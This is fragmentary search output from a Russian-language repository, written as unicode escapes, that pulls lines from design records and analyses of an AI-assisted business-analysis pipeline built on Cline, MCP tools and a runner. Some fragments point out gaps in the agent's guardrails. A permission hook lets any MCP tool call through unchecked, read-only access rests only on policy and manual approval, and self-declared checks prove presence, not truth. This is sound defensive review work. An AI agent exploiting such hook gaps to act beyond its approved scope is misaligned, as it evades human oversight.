runner \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c | \u0421\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f MCP: \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u00abmodel-controlled\u00bb ([MCP 2025-11-25, tools](https://modelcontextprotocol.io/specification/2025-11-25/server/tools)); \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c. ADR-018 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 ([L54](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L54)), ADR-019 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 MCP \u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u043d\u043e \u043d\u0435 \u043a\u0430\u043a \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a ([L96](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L96)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 `next` \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u043a\u0430\u043a \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0432\u0445\u043e\u0434, \u043d\u043e runner \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u043d\u0435\u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u043c\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0443 |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:323:| 1.6 | \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0432 Source \u0434\u043b\u044f \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432; \u0432 Cline \u2014 \u043f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 `next` \u0438 hook, \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 `runs/` \u043c\u0438\u043c\u043e runner | [\u0413-38](#\u0433-38)\u2026[\u0413-40](#\u0433-40) |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:378:| \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP, skill \u0438\u043b\u0438 workflow \u043a\u043b\u0438\u0435\u043d\u0442\u0430 (\u0412-2) | \u041f\u043e\u0440\u044f\u0434\u043e\u043a \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c; hooks \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0442 | [\u0413-37](#\u0433-37)\u2026[\u0413-39](#\u0433-39) |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:78:  \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 Mango (MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u044b, Jira, Confluence) \u2014 \u043a \u043d\u0438\u043c\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:156:### \u0412. \u0424\u0438\u0437\u0438\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u044b: Python, hooks, MCP, \u0440\u0435\u0436\u0438\u043c\u044b Cline\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:162:| \u0413-11 | \u0421\u043f\u0438\u0441\u043e\u043a \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0432 hook \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 Cline, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c | Hook \u0437\u043d\u0430\u0435\u0442 \u0438\u043c\u0435\u043d\u0430 Cline v3: `read_file`, `write_to_file`, `use_mcp_tool`\u2026 ([`cline_hook.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/cline_hook.py#L13-L17)). \u0421 v4.0 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f [`read_files`, `search_codebase`, `run_commands`, `editor`, `ask_question`\u2026](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/sdk/packages/core/src/extensions/tools/constants.ts#L12-L22), MCP \u2014 `\u0441\u0435\u0440\u0432\u0435\u0440__\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442`, \u0438 [PreToolUse \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/apps/vscode/src/sdk/hooks-adapter.ts#L147-L174). \u041f\u0440\u043e\u0431\u0430 `P8b`: hook \u043e\u0442\u043c\u0435\u043d\u044f\u0435\u0442 `read_files`, `ask_question` \u0438 \u0434\u0430\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u044c \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 `editor`. \u0422\u0430\u043c, \u0433\u0434\u0435 hooks \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f (Linux, macOS, \u0431\u0443\u0434\u0443\u0449\u0438\u0435 `.ps1` \u0438\u0437 B-200), Cline v4.1.21 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u043d\u0430 \u043f\u0435\u0440\u0432\u043e\u043c \u0447\u0442\u0435\u043d\u0438\u0438 \u0444\u0430\u0439\u043b\u0430. \u0421\u043e\u0431\u044b\u0442\u0438\u0435 `TaskResume` v4 [\u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/apps/vscode/src/sdk/hooks-adapter.ts#L1-L12). \u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f [\u043d\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u044e Cline](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/02-install.md#L42-L44) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c** (B-200): \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043e\u0431\u0430 \u043d\u0430\u0431\u043e\u0440\u0430 \u0438\u043c\u0451\u043d \u0438\u043b\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Cline \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438. \u0411\u0435\u0437 \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u041e-3 \u0441\u043b\u043e\u043c\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443, \u0430 \u043d\u0435 \u0437\u0430\u0449\u0438\u0442\u0438\u0442 \u0435\u0451 |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:163:| \u0413-12 | \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira/Confluence \u0447\u0435\u0440\u0435\u0437 MCP \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d \u0447\u0442\u0435\u043d\u0438\u0435\u043c \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 | Hook \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043b\u044e\u0431\u043e\u0439 `use_mcp_tool` \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u043c\u0435\u043d\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438\u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u2014 [`READ_TOOLS`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/cline_hook.py#L13-L16), \u043f\u0440\u043e\u0431\u0430 `P8`. \u00ab\u0422\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb \u2014 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e \u0432 [`kb-policy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/kb-policy.md#L10-L17), \u0442\u043e \u0435\u0441\u0442\u044c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430. \u0420\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u2014 \u0440\u0443\u0447\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435: [MCP \u043d\u0435 \u0432 Auto-approve](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/03-deploy-package.md#L204-L210) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c**: \u0432 hook \u2014 allowlist \u043f\u0430\u0440 \u00ab\u0441\u0435\u0440\u0432\u0435\u0440/\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435; \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u2014 \u044f\u0432\u043d\u0430\u044f \u0444\u0440\u0430\u0437\u0430 \u00ab\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0439\u0442\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0438\u0441\u043a \u0438 \u0447\u0442\u0435\u043d\u0438\u0435\u00bb. \u0414\u043e \u044d\u0442\u043e\u0433\u043e \u2014 **\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435** |\\nprojects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\\n== self-declare\\n34:\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u0435\u0439\u0447\u0430\u0441 \u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043d\u0430\\n39:\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b (\u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0432 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435 \u0438 \u0432\u044b\u0431\u043e\u0440 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432\\n48:   \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u043d\u0430\u043b\u0438\u0447\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f\\n55:   \u0441 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u0438\u043c\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u043c\u0438), \u0430 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c\\n176:| \u0413-19 | \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014 \u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0431\u0438\u0437\u043d\u0435\u0441-\u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0432 \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u043e\u0442\u0434\u0430\u0432\u0430\u0442\u044c | `release.json` \u2014 \u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430, 2053 \u0431\u0430\u0439\u0442\u0430; \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u0438\u0435 \u2014 `Terms`, `Business context`\u2026 (\u043f\u0440\u043e\u0431\u0430 `P6`; \u043f\u0440\u043e\u0444\u0438\u043b\u044c [`bcreq-client-v1.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/contracts/bcreq-client-v1.json#L8-L36)). \u0427\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f [\u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u0442\u044c Cline \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u0444\u0430\u0439\u043b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/06-working-with-cline.md#L242-L243) \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c**: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u043d\u0434\u0435\u0440 Release \u0432 Markdown (\u0438\u043b\u0438 DOCX) \u0441 \u0440\u0443\u0441\u0441\u043a\u0438\u043c\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u043c\u0438 \u0438\u0437 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u043a\u0430\u043a \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u044b\u0439 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0448\u0430\u0433. \u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 2 \u0431\u0435\u0437 \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 |\\n208:| \u0427\u0442\u0435\u043d\u0438\u0435 Release \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c | \u041c\u043e\u0434\u0435\u043b\u044c (\u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437) | \u041d\u0435\u0442 | \u041d\u0438\u0447\u0435\u0433\u043e ([\u0413-19](#\u0433-19)) |\\n232:   \u043a\u0440\u043e\u043c\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u2014 \u043b\u0438\u0431\u043e JSON, \u043b\u0438\u0431\u043e \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 \u043c\u043e\u0434\u0435\u043b\u0438: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u043e\u0448\u0438\u0431\u043a\u0438,\\n254:   \u043d\u0435 \u0433\u0435\u0439\u0442, \u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u044f. \u0417\u0430\u0434\u0430\u0447\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u043e\u0433\u043e, \u043a\u0442\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\\n== CLI transitions\\n40:\u0440\u0443\u043a\u0438 \u0411\u0410, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430; \u0432 Cline \u2014 \u043c\u043e\u0434\u0435\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f\\n135:| \u0427\u0438\u0442\u0430\u0442\u044c \u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435, \u043f\u0438\u0441\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | [`30-decision-framework.md` L49, L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49) \u2014 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb | Runner \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u043d\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430 Working \u2192 Release; \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0435\u0434\u0451\u0442 \u043c\u043e\u0434\u0435\u043b\u044c | \u041d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e ([\u0413-26](#\u0433-26)) |\\n218:| \u0412-0 | \u041a\u0430\u043a \u0441\u0435\u0439\u0447\u0430\u0441: runner-\u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a, \u0411\u0410 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b | \u25cb | \u25cb | \u25cf | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u041e\u0442\u043f\u0440\u0430\u0432\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 |\\n== ADR-017\\n74:\u041f\u0440\u0438\u043d\u044f\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0443 `Source \u2192 Distribution \u2192 Runtime \u2192 Feedback \u2192 Source` \u0434\u043b\u044f\\n103:\u2502   \u2514\u2500\u2500 feedback/                  # inbox \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0438\u043c\u043f\u043e\u0440\u0442\u0435\\n110:\u0438 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u043c feedback. `experiments/` \u0445\u0440\u0430\u043d\u0438\u0442 \u043d\u0435\u0437\u0440\u0435\u043b\u044b\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438; \u0438\u0445 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0432\\n170:\u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u0438\u043b\u0438 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0435 feedback-\\n195:\u2514\u2500\u2500 feedback/\\n== forensics classes\\n20:\u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438, \u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445\\n21:\u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430: \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f; \u0442\u0435\u043a\u0443\u0449\u0435\u0435\\n128:| BCREQ-1104 | \u041f\u043e\u0441\u043b\u0435 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u043f\u0440\u0430\u0432\u043e\u043a \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0447\u0435\u0442\u044b\u0440\u0435 \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0431\u0435\u0437 \u043b\u0438\u0448\u043d\u0435\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438. | Human correction \u0434\u043e\u043b\u0436\u043d\u0430 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f regression example, \u0430 \u043d\u0435 \u043e\u0434\u043d\u043e\u0440\u0430\u0437\u043e\u0432\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. |\\n== golden 7\\n19:\u0415\u0434\u0438\u043d\u0430\u044f \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 \u0441\u0435\u043c\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u0430 \u043a API, \u041b\u0438\u0447\u043d\u043e\u043c\u0443\\n20:\u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0443 \u0438 \u041a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0443. \u041e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u0441\u043a\u0435\u043b\u0435\u0442, \u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 4\\n52:| `BCREQ-729.pdf`, 10 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 | API-\u043f\u043e\u043b\u044f \u0438 \u043c\u0435\u0442\u043e\u0434\u044b \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0424\u0422; \u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u0438\u0441\u043a \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0445\u0435\u043c\u043e\u0439. |\\n56:| `BCREQ-1069.pdf`, 27 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 | API-\u043a\u0435\u0439\u0441 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u043a\u043b\u044e\u0447\u0435\u0439, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433, \u043c\u0430\u0442\u0440\u0438\u0446\u044b \u0438 24 use cases; \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u0424\u0422\u2194UC \u043a\u0430\u043a 